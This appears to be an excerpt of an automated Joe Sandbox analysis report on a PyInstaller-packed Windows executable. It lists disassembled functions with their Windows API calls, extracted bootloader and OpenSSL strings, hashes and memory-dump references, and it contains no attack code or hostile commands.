Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ErrorFileLanguagesLastModuleNamePreferredRestoreThread_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\e45AiBoV6X.exe
API String ID: 2553983749-3551109972
Opcode ID: ddc46de6380418fe35fca5e4aa859368a8c2113199f78edf785cf6db79d8d493
Instruction ID: 10b7e5f03b503dde526c9d0b3b79f6bc87970166dcc8d70c70fc678bf12099f0
Opcode Fuzzy Hash: ddc46de6380418fe35fca5e4aa859368a8c2113199f78edf785cf6db79d8d493
Instruction Fuzzy Hash: C0416C36E08A53C5EB18DF25E9811BC27A4EB497D8B555035EA6EC7BE5EE3CE481C300

Function 00007FF6FB1FF8E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1FF916

Part of subcall function 00007FF6FB1FE8C8: GetCurrentDirectoryW.KERNEL32 ref: 00007FF6FB1FE908

Strings

., xrefs: 00007FF6FB1FF967
:, xrefs: 00007FF6FB1FF956

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: CurrentDirectory_invalid_parameter_noinfo
String ID: .$:
API String ID: 2020911589-4202072812
Opcode ID: a7e7ecf8ca197d948e5de4d949c192756b769c590a90378fa45037ccdac380fb
Instruction ID: 751dcc1dd1b5525232542b870e70bda81a8fe4585af1ea3eb1b8886e7e3f7060
Opcode Fuzzy Hash: a7e7ecf8ca197d948e5de4d949c192756b769c590a90378fa45037ccdac380fb
Instruction Fuzzy Hash: EA414A22E0965398FB10DBA198611BC27B4BF1875CF540039EE6DA7AE9EF78A456C300

Function 00007FF6FB1FBF48 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6FB1FC05F
GetLastError.KERNEL32 ref: 00007FF6FB1FC081

Strings

U, xrefs: 00007FF6FB1FC00B

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 0b7df1583adeec31525a7cba2b12c3ee68d62bc9877546cbea7757f0bce6ed29
Instruction ID: 8578bb5448fca6d6b7ca3f789977a7d2209c012eeacf791fba62aa5c6ae5ebc4
Opcode Fuzzy Hash: 0b7df1583adeec31525a7cba2b12c3ee68d62bc9877546cbea7757f0bce6ed29
Instruction Fuzzy Hash: 8541B322A18A8681DB20DF25E4447BA6760FB8C798F944131EE5DC7BE8EF3CD441CB40

Function 00007FF6FB1FE8C8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF6FB1FE908
GetCurrentDirectoryW.KERNEL32 ref: 00007FF6FB1FE95A

Strings

:, xrefs: 00007FF6FB1FE91E

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 07ccd8f192e8e90d69bfd843d23e6c5cb8c086d03a1c4ecf0d47480cab5f9335
Instruction ID: 1f03d44e165032d7eeec944408b60b3d3521c9fa64b7f28c6c1d81e73b34da24
Opcode Fuzzy Hash: 07ccd8f192e8e90d69bfd843d23e6c5cb8c086d03a1c4ecf0d47480cab5f9335
Instruction Fuzzy Hash: E921B123A0868381EB60DB15D04427E73A1FBCCB88F854035D6AD836E8EF7CE545C751

Function 00007FF6FB1EF068 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF6FB1EF0B8
RaiseException.KERNEL32 ref: 00007FF6FB1EF0F9

Strings

csm, xrefs: 00007FF6FB1EF0E6

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 353d784395b77eefcba7ec404c7e4e47dbaba59ece92a9373595b893a828088a
Instruction ID: 0d81c36123044be23eced6fa8f0323cd471005690991adf5f33c967407c1c9f3
Opcode Fuzzy Hash: 353d784395b77eefcba7ec404c7e4e47dbaba59ece92a9373595b893a828088a
Instruction Fuzzy Hash: A0114C36A18B4582EB218B15E54026D77E1FB88B98F184231DE9D47BA4EF3DE551C700

Function 00007FF6FB1FFA4C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1FFA7C
GetDriveTypeW.KERNEL32 ref: 00007FF6FB1FFABC

Strings

:, xrefs: 00007FF6FB1FFAA5

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
Instruction ID: 5efa9ca9b9e8c2a2314436d27ea6877620663d8825c206dae8e1fdef55b359fa
Opcode Fuzzy Hash: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
Instruction Fuzzy Hash: 93017822E1864786EB30EB60946127E63A0EF4C74CF841036D56DC26E1FEACE555CA14

Analysis Process: e45AiBoV6X.exePID: 7396, Parent PID: 7380COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.3%
Total number of Nodes:	630
Total number of Limit Nodes:	20

Executed Functions

Function 00007FF6FB1E1000 Relevance: 40.6, APIs: 5, Strings: 18, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF6FB1E3653
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF6FB1E37EF
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF6FB1E3820
Failed to convert DLL search path!, xrefs: 00007FF6FB1E38A3
ERROR: failed to remove temporary directory: %s, xrefs: 00007FF6FB1E3A12
pyi-contents-directory, xrefs: 00007FF6FB1E35F8
WARNING: failed to remove temporary directory: %s, xrefs: 00007FF6FB1E3A31
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF6FB1E378C
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF6FB1E3905
bye-runtime-tmpdir, xrefs: 00007FF6FB1E35D3
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF6FB1E36FC
Could not create temporary directory!, xrefs: 00007FF6FB1E3838
_MEIPASS2, xrefs: 00007FF6FB1E36A2, 00007FF6FB1E36AE, 00007FF6FB1E39AC
pkg, xrefs: 00007FF6FB1E37CF
pyi-disable-windowed-traceback, xrefs: 00007FF6FB1E361D
Failed to start splash screen!, xrefs: 00007FF6FB1E3933
MEI, xrefs: 00007FF6FB1E374E
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF6FB1E391A

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: FileModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$ERROR: failed to remove temporary directory: %s$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$MEI$PYINSTALLER_STRICT_UNPACK_MODE$Path exceeds PYI_PATH_MAX limit.$WARNING: failed to remove temporary directory: %s$_MEIPASS2$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback
API String ID: 514040917-1099759049
Opcode ID: bd5132a996e21c3b955ef89ab5ecb1a2b08bd885b3b328e7f6b5000dab4d0f26
Instruction ID: 4351c9cd71c9236011f0d0ad4ca458a0147431b02101637dfaa68685ba63fe4e
Opcode Fuzzy Hash: bd5132a996e21c3b955ef89ab5ecb1a2b08bd885b3b328e7f6b5000dab4d0f26
Instruction Fuzzy Hash: 37F14D61E0868391FB19EB21E5652FD6261AF5D788F844031DA6DC3AE6FF2CF568C340

Function 00007FFDFB381956 Relevance: 23.5, APIs: 5, Strings: 8, Instructions: 785COMMON

Download Yara Rule

Strings

CONNE, xrefs: 00007FFDFB390CA6
@, xrefs: 00007FFDFB3907AD
GET , xrefs: 00007FFDFB390C32
POST , xrefs: 00007FFDFB390C55
..\s\ssl\record\ssl3_record.c, xrefs: 00007FFDFB39046C, 00007FFDFB390CC6, 00007FFDFB390D6E
HEAD , xrefs: 00007FFDFB390C73
PUT , xrefs: 00007FFDFB390C92
, xrefs: 00007FFDFB390552

Memory Dump Source

Source File: 00000001.00000002.1991624093.00007FFDFB381000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFB380000, based on PE: true

Associated: 00000001.00000002.1991585735.00007FFDFB380000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB3F3000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB3F5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB418000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB423000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB42D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1992057570.00007FFDFB430000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1992103361.00007FFDFB432000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb380000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID: $..\s\ssl\record\ssl3_record.c$@$CONNE$GET $HEAD $POST $PUT
API String ID: 0-352295518
Opcode ID: 10e9551b73dd26cc253e512a061e753fef7e6259af78dc632876357d1c9699b4
Instruction ID: 7e05ff9db9aa2c38861f1c02c1081ea02abf3a24abcaed19432e27280c9f3260
Opcode Fuzzy Hash: 10e9551b73dd26cc253e512a061e753fef7e6259af78dc632876357d1c9699b4
Instruction Fuzzy Hash: 0A727F32B4A64387FB60AA15D464BBD27E2EB44B8CF544135DA6C8B6E8CF7DE584C700

Function 00007FF6FB205C74 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FB2059A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB2059E9
Part of subcall function 00007FF6FB2059A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB205A67
Part of subcall function 00007FF6FB2059A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB205AB8

CreateFileW.KERNEL32 ref: 00007FF6FB205D7A
CreateFileW.KERNEL32 ref: 00007FF6FB205DCA
GetLastError.KERNEL32 ref: 00007FF6FB205DFA
GetFileType.KERNEL32 ref: 00007FF6FB205E0F
GetLastError.KERNEL32 ref: 00007FF6FB205E19
CloseHandle.KERNEL32 ref: 00007FF6FB205E4C
CloseHandle.KERNEL32 ref: 00007FF6FB205FAF
CreateFileW.KERNEL32 ref: 00007FF6FB205FE4
GetLastError.KERNEL32 ref: 00007FF6FB205FF3

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
Instruction ID: e2f944a9e83ba7e30b59ec9f2f177da379f5a2a71d054c596229b18e502c4fc3
Opcode Fuzzy Hash: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
Instruction Fuzzy Hash: 29C19E36B28A4686EB10CF69C5A06BC3761FB59B98B012225DE6ED77E4EF38D551C300

Function 00007FFDFB354460 Relevance: 9.6, APIs: 4, Strings: 1, Instructions: 893librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFDFB354F75
GetProcAddress.KERNEL32 ref: 00007FFDFB354F9F
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFDFB355029
VirtualProtect.KERNEL32 ref: 00007FFDFB355047

Strings

s"5, xrefs: 00007FFDFB35448B

Memory Dump Source

Source File: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID: s"5
API String ID: 3300690313-1492618520
Opcode ID: 0f3ea391c28ca89a74bd740658b8751246de311d9d9a1ab4a8ab4f2b2ce55410
Instruction ID: ae25e35669495baca2c61ef3e5ec8f7160a9078362c59fd97b365c0bc655a726
Opcode Fuzzy Hash: 0f3ea391c28ca89a74bd740658b8751246de311d9d9a1ab4a8ab4f2b2ce55410
Instruction Fuzzy Hash: 1062252272919387E7199E38E91067976E0F748785F059531EAAEC37ECEA3CFA45C700

Function 00007FF6FB1E85A0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF6FB1E85D3
FindClose.KERNEL32 ref: 00007FF6FB1E85E2

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
Instruction ID: 51284713ea7a4f52c2f1898fb99e4ccaf49759f3994e392812a3888dd175179d
Opcode Fuzzy Hash: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
Instruction Fuzzy Hash: 72F04426A1964386F770CB60B59976A7360AB4C768F041235D97E82AE4EF7CE0598B04

Function 00007FF6FB1E18F0 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FB1E76A0: _fread_nolock.LIBCMT ref: 00007FF6FB1E774A

_fread_nolock.LIBCMT ref: 00007FF6FB1E19B4

Part of subcall function 00007FF6FB1E2760: MessageBoxW.USER32 ref: 00007FF6FB1E283B

Strings

malloc, xrefs: 00007FF6FB1E1AA8
Error on file., xrefs: 00007FF6FB1E1B0A
fseek, xrefs: 00007FF6FB1E1990
Could not allocate memory for archive structure!, xrefs: 00007FF6FB1E19EE
fread, xrefs: 00007FF6FB1E19C6, 00007FF6FB1E1ADB
Could not allocate buffer for TOC!, xrefs: 00007FF6FB1E1AA1
Failed to read cookie!, xrefs: 00007FF6FB1E19BF
MEI, xrefs: 00007FF6FB1E1931
Could not read full TOC!, xrefs: 00007FF6FB1E1AD4
calloc, xrefs: 00007FF6FB1E19F5
Failed to seek to cookie position!, xrefs: 00007FF6FB1E1989

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 677216364-3497178890
Opcode ID: 5b42461e0461bb9a3f2c2c1cb70c0dd9a465cc773c1336ae125719f36c9a405f
Instruction ID: 8cd3dbe39fdeabba35f3012ba4dbe3923b299f09861fa7d16d38a881ef22a6a4
Opcode Fuzzy Hash: 5b42461e0461bb9a3f2c2c1cb70c0dd9a465cc773c1336ae125719f36c9a405f
Instruction Fuzzy Hash: D4718F21E1868785FB20DB24E5542FD23A1EB8CB88F445035E9ADC7BE9FE6CF5548B40

Function 00007FF6FB1E1440 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF6FB1E14E0
fseek, xrefs: 00007FF6FB1E14B0
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6FB1E146F
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6FB1E14A9
fread, xrefs: 00007FF6FB1E15A1
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6FB1E159A
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6FB1E14D9

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: edb324d4c3b8625c1d3aace64eba9c8b43f634d022d1992519341acc65c721e8
Instruction ID: 84ecfcd80d7305998b3be636ada93a78a111f2fbd3bdddcd1f2a45b457d3d257
Opcode Fuzzy Hash: edb324d4c3b8625c1d3aace64eba9c8b43f634d022d1992519341acc65c721e8
Instruction Fuzzy Hash: 69414722E0864382FB20DB15A9505BE63A0AF4DBD8F545432DA6E87AF5FE7CF5518700

Function 00007FF6FB1E11F0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF6FB1E12C3
malloc, xrefs: 00007FF6FB1E129C, 00007FF6FB1E12CA
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF6FB1E1295
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF6FB1E1256
1.3.1, xrefs: 00007FF6FB1E1229
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF6FB1E13EE

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-2813020118
Opcode ID: 85026a7eca33eed62396a3c44ac8e2af46aea1793c30bb10ceca8764f980f820
Instruction ID: f25522d03216c9f26ca48102f9033c5c81c35bf2f67cc895f3b0f9c312f4e899
Opcode Fuzzy Hash: 85026a7eca33eed62396a3c44ac8e2af46aea1793c30bb10ceca8764f980f820
